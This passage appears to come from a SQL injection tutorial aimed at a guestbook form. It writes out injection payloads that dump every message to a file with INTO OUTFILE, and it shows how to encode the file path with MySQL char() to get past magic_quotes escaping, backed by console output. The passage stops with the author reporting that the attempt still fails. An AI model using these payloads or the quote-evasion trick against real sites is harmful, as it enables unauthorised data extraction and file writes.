Use this form to create a file containing all the messages.
We use here the SELECT .. INTOU OUTFILE syntax. Unfortunately this syntax requires the name of a file. That should be written as a string:
2 or 1=1 AND guestbookID=author INTO OUTFILE '/tmp/test.txt'#
Would be sufficient without magic_quotes. But since we have activated this security feature, it does not work. We have to suppress the quotes.
We need a string that is given without quotes. We can use the char() function of MySQL.
So we need to know the char() expression corresponding to '/tmp/test.txt'. For this, we use the ascii() function of SQL.
mysql> select ascii('/');
+------------+
| ascii('/') |
+------------+
| 47 |
+------------+
1 row in set (0,00 sec)
mysql> select ascii('t');
ERROR 2006 (HY000): MySQL server has gone away
No connection. Trying to reconnect...
Connection id: 17
Current database: *** NONE ***
+------------+
| ascii('t') |
+------------+
| 116 |
+------------+
1 row in set (0,00 sec)
mysql> select ascii('m');
+------------+
| ascii('m') |
+------------+
| 109 |
+------------+
1 row in set (0,00 sec)
mysql> select ascii('p');
+------------+
| ascii('p') |
+------------+
| 112 |
+------------+
1 row in set (0,00 sec)
mysql>
So the ascii characters corresponding to /tmp are 47,116,109,112. If we continue, the list corresponding to /tmp/test.txt is 47,116,109,112,47,116,101,115,116,46,116,120,116. We can verify the sentence in MySQL
mysql> select char(47,116,109,112,47,116,101,115,116,46,116,120,116);
+--------------------------------------------------------+
| char(47,116,109,112,47,116,101,115,116,46,116,120,116) |
+--------------------------------------------------------+
| /tmp/test.txt |
+--------------------------------------------------------+
1 row in set (0,00 sec)
Should work, but still does not.
2 or 1=1 AND guestbookID=author INTO OUTFILE char(47,116,109,112,47,116,101,115,116,46,116,120,116)#